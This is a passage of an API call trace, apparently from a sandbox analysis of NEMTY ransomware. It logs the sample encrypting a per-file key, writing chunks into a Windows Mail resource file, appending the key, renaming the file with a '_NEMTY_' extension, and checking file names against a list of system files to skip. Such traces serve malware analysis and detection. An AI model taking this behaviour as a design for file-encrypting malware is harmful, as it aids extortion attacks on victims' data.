lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoeres.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0102.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0102.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0102.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0102.276] Sleep (dwMilliseconds=0x5) [0102.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf09d5c90, dwHighDateTime=0x1d561e7)) [0102.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf09d5c90, dwHighDateTime=0x1d561e7)) [0102.287] GetLastError () returned 0xb7 [0102.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.287] GetLastError () returned 0xb7 [0102.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.287] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.287] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.287] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0102.287] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="xmo4QX3wmziiTFrUnOuAz9HbrT6xBLjPItn5Q9e7n4ZpBoqBMJYpG9VFIJFJVvUr\r\nJRSWDPXQClJ+W/VkgSUSGD1jpv7/wJm3wU6s6TTaMUB+kd0cykMjFPP/2pYcrx6J\r\nf2gnm8os/AP8UrcGbEsLUk8UDEY0ooL0v4Nu3bXku4PdQPH5j5/xGJh6KmkYgX5n\r\n2VNFlpL9QMJ8oc9YwNxQga7xZM3pjCe8o6bjtMiURe1ORKeIMeaj1yhRZXT97RO+\r\nfbmIELUQ8IlqPuvxJBt6kXvSj2pv5FpGiZYXijukUAdXucruZg/CYPxONBgsnsaF\r\nDEsVz2Eju0z+afII2qu4Ew==\r\n", pcchString=0x653ef9c) returned 1 [0102.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0102.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0102.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.288] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.288] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94178, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.395] CloseHandle (hObject=0xffffffff) returned 0 [0102.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0102.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0102.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui._nemty_kgobjgd_")) returned 0 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0102.396] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="...") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="windows") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="rsa") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="NTDETECT.COM") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ntldr") returned 1 [0102.396] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="MSDOS.SYS") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="IO.SYS") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="boot.ini") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="boot.ini") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ntuser.dat") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="desktop.ini") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="CONFIG.SYS") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="RECYCLER") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="bootmgr") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="programdata") returned 1 [0102.397] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="appdata") returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0102.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0102.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0102.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0102.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0102.397] Sleep (dwMilliseconds=0x5) [0102.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0b06790, dwHighDateTime=0x1d561e7)) [0102.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0b06790, dwHighDateTime=0x1d561e7)) [0102.412] GetLastError () returned 0x5 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.412] GetLastError () returned 0x5 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.412] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0102.412] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="8Yx/PJ8I1YoZQBCPUQjnag2YsJTydB9wBSkAsbOavD0B6LIvMbO9ucimMtJUCZHw\r\nqzX3nPT0pRALkJDBLUWqIBMQtiP+ZcuIkY6RBy24mXfy/Cp+ciRF7ojDAMqwY0vs\r\nh4wrUuiCBkldyyRmH/xQ+ii701BGDmLKwIPFRnH64vE+Ivvg30uVn+scHFSZFIYB\r\nhDwVbe+Tnr56x3Oh5qKEtKnYXcu1ydxBi/Uz/Ga+QiySCT0UOiyJV0HemXrX+bxp\r\nRiyUQ820UTs1+oJLC6mFAJXhK3tGvWT2PAB52kTHImBg7f4weAaILZ6hroydwiXy\r\nRqiH0Y8R9hQo1MHXtLQhFg==\r\n", pcchString=0x653ef9c) returned 1 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0102.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 